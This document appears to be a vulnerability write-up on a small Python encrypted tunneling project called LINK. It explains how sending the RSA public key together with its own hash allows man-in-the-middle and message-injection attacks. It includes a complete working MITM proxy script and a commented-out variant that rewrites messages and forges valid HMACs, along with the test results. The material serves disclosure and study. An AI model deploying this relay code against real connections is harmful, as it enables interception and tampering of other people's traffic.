LINK Project Overview#

LINK is a secure, bidirectional data tunneling system that acts as a cryptographic proxy between two socket endpoints. It is designed to relay encrypted data between an input and output channel while ensuring confidentiality and integrity through layered cryptographic protocols.

Built by @rajashua (@therustymate) at 2023-06-30

Protocol Visualization#

LINK Protocol Analysis

Reported Vulnerabilities#

MITM (Man-In-The-Middle) Attack
Tampering Attack / Message Injection Attack

Vulnerable Functions#

Server-side Handler

1
class Server:
2
    def __init__(self, INPUT: tuple, OUTPUT: tuple):
3
        ...
4

5
        # Create a RSA key pair
6
        self.RSA_KEY = RSA.generate(2048)
7
        self.RSA_PUBLIC = self.RSA_KEY.publickey().export_key()
8
        self.RSA_HASH = hashlib.sha512(self.RSA_PUBLIC).digest()
9

10
        # Create a verify key
11
        self.VERIFY_KEY = os.urandom(16)
12

13
        # Key transfer
14
        self.IN_OBJ = socket(AF_INET, SOCK_STREAM)
15
        self.IN_OBJ.bind(self.INPUT)
16
        self.IN_OBJ.listen()
17
        self.IN = self.IN_OBJ.accept()[0]
18
        self.IN.sendall(self.RSA_HASH)
19
        self.IN.sendall(self.RSA_PUBLIC)
20

21
        # Client-side AES key exchange
22
        AES_LOCKED = self.IN.recv(1024)                     # Receive encrypted AES key
23
        RSA_OBJ = PKCS1_OAEP.new(self.RSA_KEY)              # Initialize RSA instance
24
        AES_KEY = RSA_OBJ.decrypt(AES_LOCKED)               # Decrypt AES key
25
        self.LOCKER = AES.new(AES_KEY, AES.MODE_ECB)        # Initialize AES instance with client-side AES key
26
        logging.info("SERVER: IN Bind {}:{}".format(self.INPUT[0], self.INPUT[1]))
27

28
        KEY_TRANSFER = pad(self.VERIFY_KEY, AES.block_size)
29
        KEY_TRANSFER = self.LOCKER.encrypt(KEY_TRANSFER)    # Encrypt padded HMAC verify key with client-side AES key
30
        self.IN.send(KEY_TRANSFER)                          # Transfer HMAC verify key
31

32
        ...
33

34
        logging.info("SERVER: STARTED")

1
class Client:
2
    def __init__(self, INPUT: tuple, OUTPUT: tuple):
3
        self.INPUT = INPUT
4
        self.OUTPUT = OUTPUT
5

6
        self.IN = socket(AF_INET, SOCK_STREAM)
7
        self.IN.connect(self.INPUT)
8

9
        PUBLIC_KEY_HASH = self.IN.recv(1024)                            # Receive RSA public key hash (SHA512)
10
        PUBLIC_KEY = self.IN.recv(2048)                                 # Receive RSA public key
11
        if hashlib.sha512(PUBLIC_KEY).digest() != PUBLIC_KEY_HASH:      # Verify RSA public key with received key hash
12
            logging.critical("CLIENT: Invalid server key")
13
            sys.exit(1)
14

15
        self.aes_key = get_random_bytes(16)                             # Create an AES key
16
        RSA_OBJ = PKCS1_OAEP.new(RSA.import_key(PUBLIC_KEY))            # Initialize RSA instance with server-side RSA key
17
        AES_LOCKED = RSA_OBJ.encrypt(self.aes_key)                      # Encrypt AES key with server-size RSA key
18
        self.IN.sendall(AES_LOCKED)                                     # Transfer AES key
19
        self.LOCKER = AES.new(self.aes_key, AES.MODE_ECB)               # Initialize AES instance
20
        logging.info("CLIENT: IN Bind {}:{}".format(self.INPUT[0], self.INPUT[1]))
21

22
        KEY_TRANSFER = self.IN.recv(1024)
23
        KEY_TRANSFER = self.LOCKER.decrypt(KEY_TRANSFER)
24
        KEY_TRANSFER = unpad(KEY_TRANSFER, AES.block_size)
25
        self.VERIFY_KEY = KEY_TRANSFER
26

27
        ...
28

29
        logging.info("CLIENT: STARTED")

MITM Attack Theory#

MITM Theory

If a hacker uses a MITM proxy server to manipulate the RSA key and hash while they are being transmitted to the client, the client has no mechanism to detect the forgery.
This leads the client to trust the manipulated key, allowing the attacker to obtain the AES and the verify key and passively intercept all further communication.

LINK Server	Direction	Hacker	Direction	LINK Client
RSA Public Key & Hash	->	Convert	->	Modified RSA Public Key & Hash
Create AES instance	<-	Convert	<-	Encrypted AES key
Create verify key	->	Listen	->	Create HMAC instance

Tampering Attack / Message Injection Attack Theory#

First, after successfully performing a MITM attack, if the attacker either modifies the verify key or uses the same key to generate valid hashes, they can forcibly inject specific messages into the communication with the client.
This is possible because the client lacks a mechanism to verify the authenticity of the verify key.

Exploit#

I will now manually write the code due to the transcendent stupidity of ChatGPT, Deepseek, Gemini, and Copilot. *sigh*

1
from socket import *
2
from threading import Thread
3

4
from Crypto.PublicKey import RSA
5
from Crypto.Random import get_random_bytes
6
from Crypto.Cipher import AES, PKCS1_OAEP
7
from Crypto.Util.Padding import pad, unpad
8
import hashlib
9
import hmac
10
import os
11

12
import traceback
13

14
import logging
15
import time
16
import sys
17

18
IN_PORT_SERVER = 9999
19
IN_PORT_CLIENT = 9998
20

21
def start():
22
    try:
23
        print(f"[CONNECT] Connecting to the LINK Server...")
24
        s = socket(AF_INET, SOCK_STREAM)
25
        s.connect(("localhost", IN_PORT_SERVER))
26
        print(f"[CONNECT] Connected to the LINK Server")
27
        actual_rsa_hash = s.recv(1024)
28
        actual_rsa_key = s.recv(2048)
29

30
        print(f"[RSA EXCHANGE] Actual RSA SHA512 Hash: {actual_rsa_hash}")
31
        print(f"[RSA EXCHANGE] Actual RSA Public Key: {actual_rsa_key}")
32
    except:
33
        print(f"[RSA EXCHANGE] Error while getting severside RSA key:")
34
        traceback.print_exc()
35
        return
36

37
    try:
38
        print(f"[CONNECT] Waiting LINK Client to connect...")
39
        s2 = socket(AF_INET, SOCK_STREAM)
40
        s2.bind(("localhost", IN_PORT_CLIENT))
41
        s2.listen()
42
        sock, addr = s2.accept()
43
        print(f"[CONNECT] Connected: [{addr[0]}]:{addr[1]}")
44
    except:
45
        print(f"[CONNECT] Error while accepting incoming connection for the client:")
46
        traceback.print_exc()
47
        return
48

49
    RSA_KEY = RSA.generate(2048)
50
    RSA_PUBLIC = RSA_KEY.publickey().export_key()
51
    RSA_HASH = hashlib.sha512(RSA_PUBLIC).digest()
52

53
    print(f"[RSA EXCHANGE] Modified RSA SHA512 Hash: {RSA_HASH}")
54
    print(f"[RSA EXCHANGE] Modified RSA Public Key: {RSA_PUBLIC}")
55
    print(f"[RSA EXCHANGE] RSA Private Key: {RSA_KEY.export_key()}")
56

57
    sock.sendall(RSA_HASH)
58
    sock.send(RSA_PUBLIC)
59

60
    AES_LOCKED = sock.recv(1024)
61
    RSA_OBJ = PKCS1_OAEP.new(RSA_KEY)
62
    AES_KEY = RSA_OBJ.decrypt(AES_LOCKED)
63

64
    print(f"[AES EXCHANGE] AES Key: {AES_KEY}")
65

66
    SERVER_RSA_OBJ = PKCS1_OAEP.new(RSA.import_key(actual_rsa_key))
67
    AES_LOCKED = SERVER_RSA_OBJ.encrypt(AES_KEY)
68
    s.sendall(AES_LOCKED)
69

70
    LOCKER = AES.new(AES_KEY, AES.MODE_ECB)
71

72
    KEY_TRANSFER = s.recv(1024)
73
    LOCKED_KEY_TRANSFER = KEY_TRANSFER
74
    KEY_TRANSFER = LOCKER.decrypt(KEY_TRANSFER)
75
    KEY_TRANSFER = unpad(KEY_TRANSFER, AES.block_size)
76
    VERIFY_KEY = KEY_TRANSFER
77

78
    print(f"[VERIFY KEY EXCHANGE] Verify Key: {VERIFY_KEY}")
79

80
    sock.sendall(LOCKED_KEY_TRANSFER)
81

82
    def relay(src, dst):
83
        cipher = AES.new(AES_KEY, AES.MODE_ECB)
84
        while True:
85
            try:
86
                hmac = src.recv(1024)
87
                data = src.recv(1024)
88
                if not data: break
89

90
                plain = unpad(cipher.decrypt(data), AES.block_size)
91
                print(f"[COMMUNICATION] DATA: {plain}")
92

93
                dst.send(hmac)
94
                dst.send(data)
95
            except:
96
                break
97

98
    # Injection Exploit
99
    # def relay(src, dst):
100
    #     cipher = AES.new(AES_KEY, AES.MODE_ECB)
101
    #     while True:
102
    #         try:
103
    #             hmac_recv = src.recv(1024)
104
    #             data = src.recv(1024)
105
    #             if not data: break
106

107
    #             # Decrypt the data
108
    #             plain = unpad(cipher.decrypt(data), AES.block_size)
109

110
    #             # Modify if 'test' is found
111
    #             if b'test' in plain:
112
    #                 print(f"[!] Found 'test' - Modifying to 'pwned'")
113
    #                 modified = plain.replace(b'test', b'pwned')
114

115
    #                 # Re-encrypt the modified data
116
    #                 modified_enc = cipher.encrypt(pad(modified, AES.block_size))
117

118
    #                 # Generate new HMAC for modified data
119
    #                 new_hmac = hmac.new(VERIFY_KEY, modified_enc, hashlib.sha256).hexdigest().encode()
120

121
    #                 # Send the modified packets
122
    #                 dst.send(new_hmac)
123
    #                 dst.send(modified_enc)
124
    #                 continue
125

126
    #             print(f"[COMMUNICATION] DATA: {plain}")
127
    #             dst.send(hmac_recv)
128
    #             dst.send(data)
129

130
    #         except Exception as e:
131
    #             print(f"[ERROR] Relay failed: {e}")
132
    #             break
133

134
    IN_thread = Thread(target=relay, args=(sock, s,))
135
    IN_thread.start()
136

137
    OUT_thread = Thread(target=relay, args=(s, sock,))
138
    OUT_thread.start()
139

140
while True:
141
    start()

MITM Result

The deployment of mitm.py between LINK and LINK2 successfully achieved message interception.
When entering test in client.py, both server.py and mitm.py simultaneously displayed the output as b'test'.

INJ Result

The MITM test to automatically modify b'test' to b'pwned' was successfully conducted.
When transmitting the message this server is a test server, we confirmed that the server received the modified version: this server is a pwned server.

In conclusion, the LINK Project originally developed by @rajashua (@therustymate) on 2023-06-30 has been confirmed to be vulnerable to both MITM (Man-in-the-Middle) attacks and Tampering attacks, posing significant security risks.